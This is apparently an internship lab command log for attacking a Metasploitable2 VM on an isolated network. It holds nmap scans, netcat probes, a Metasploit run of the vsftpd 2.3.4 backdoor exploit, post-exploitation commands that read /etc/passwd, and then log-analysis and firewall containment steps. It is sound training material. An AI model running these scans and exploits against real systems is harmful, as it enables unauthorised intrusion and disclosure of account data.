ApexPlanet Cybersecurity Internship - Task 5 Command Log

Author: Jetty Charan
Target: Metasploitable2 (`192.168.56.103`)
Attacker Host: Kali Linux (`192.168.56.0/24`)

---

1. Environment Verification & Target Reachability

Verify local network interface configuration and ensure basic Layer 3 reachability to the target host over the VirtualBox Host-Only network adapter.

```shell
# Check local IP assignment
ifconfig

# Verify target ICMP echo response
ping -c 4 192.168.56.103
```

---

2. Reconnaissance & Network Service Enumeration

Perform port scanning, operating system detection, and service version fingerprinting against the target IP address.

```shell
# Full TCP SYN stealth scan with version detection and OS fingerprinting
nmap -sS -sV -O 192.168.56.103

# Fast scan of the top 100 most common TCP ports
nmap -sS -sV --top-ports 100 192.168.56.103

# UDP port enumeration across common service ports
nmap -sU --top-ports 20 192.168.56.103
```

---

3. Manual Service Banner Probing

Utilize Netcat to establish direct TCP connections to open ports to inspect raw service response banners and check port responsiveness.

Shell

```
# Connect to FTP daemon to inspect banner response
nc -v 192.168.56.103 21

# Connect to HTTP service port
nc -v 192.168.56.103 80

# Perform port availability check across a standard port range
nc -z -v 192.168.56.103 1-1024
```

---

4. Controlled Vulnerability Verification (Metasploit)

Configure and launch the Metasploit Framework console to test known service vulnerabilities in a controlled laboratory setting.

```msf
# Launch Metasploit Framework Console
msfconsole

# Select module matching identified service version
use exploit/unix/ftp/vsftpd_234_backdoor

# Configure target parameters
set RHOSTS 192.168.56.103

# Review active configuration settings
show options

# Execute validation run
exploit
```

---

5. Post-Verification & System Auditing

Execute basic diagnostic commands inside the interactive session to collect system state data and verify administrative privilege level.

```shell
# Retrieve user ID and group permissions
id

# Return active user account name
whoami

# Output system kernel and hardware architecture
uname -a

# Display local hostname
hostname

# Check network adapter details on target host
ifconfig

# Display current working directory path
pwd

# Audit user account definitions
cat /etc/passwd
```

---

6. Incident Response - Detection & Log Analysis

Audit network connection states, socket bindings, and authentication log records to identify connection anomalies and construct an execution timeline.

```shell
# List all active listening ports and associated process IDs
netstat -tulnp

# Display active established network connections
netstat -an | grep ESTABLISHED

# Review recent authentication events
```

```
tail -n 50 /var/log/auth.log

# Inspect FTP service logs
tail -n 50 /var/log/vsftpd.log

# Search system logs for general connection events
cat /var/log/syslog | grep -i "connection"
```

---

7. Incident Response - Containment & Eradication

Apply immediate network interface isolation, terminate unauthorized active processes, and configure firewall rules to block unauthorized traffic.

Shell

```
# Disconnect network interface to enforce host isolation
ifconfig eth0 down

# Locate shell process instances
ps aux | grep sh

# Terminate process by PID (Replace <process_id> with actual target PID)
kill -9 <process_id>

# Apply iptables firewall rule to block inbound traffic on port 21
iptables -A INPUT -p tcp --destination-port 21 -j DROP

# Audit current firewall ruleset
iptables -L -v -n
```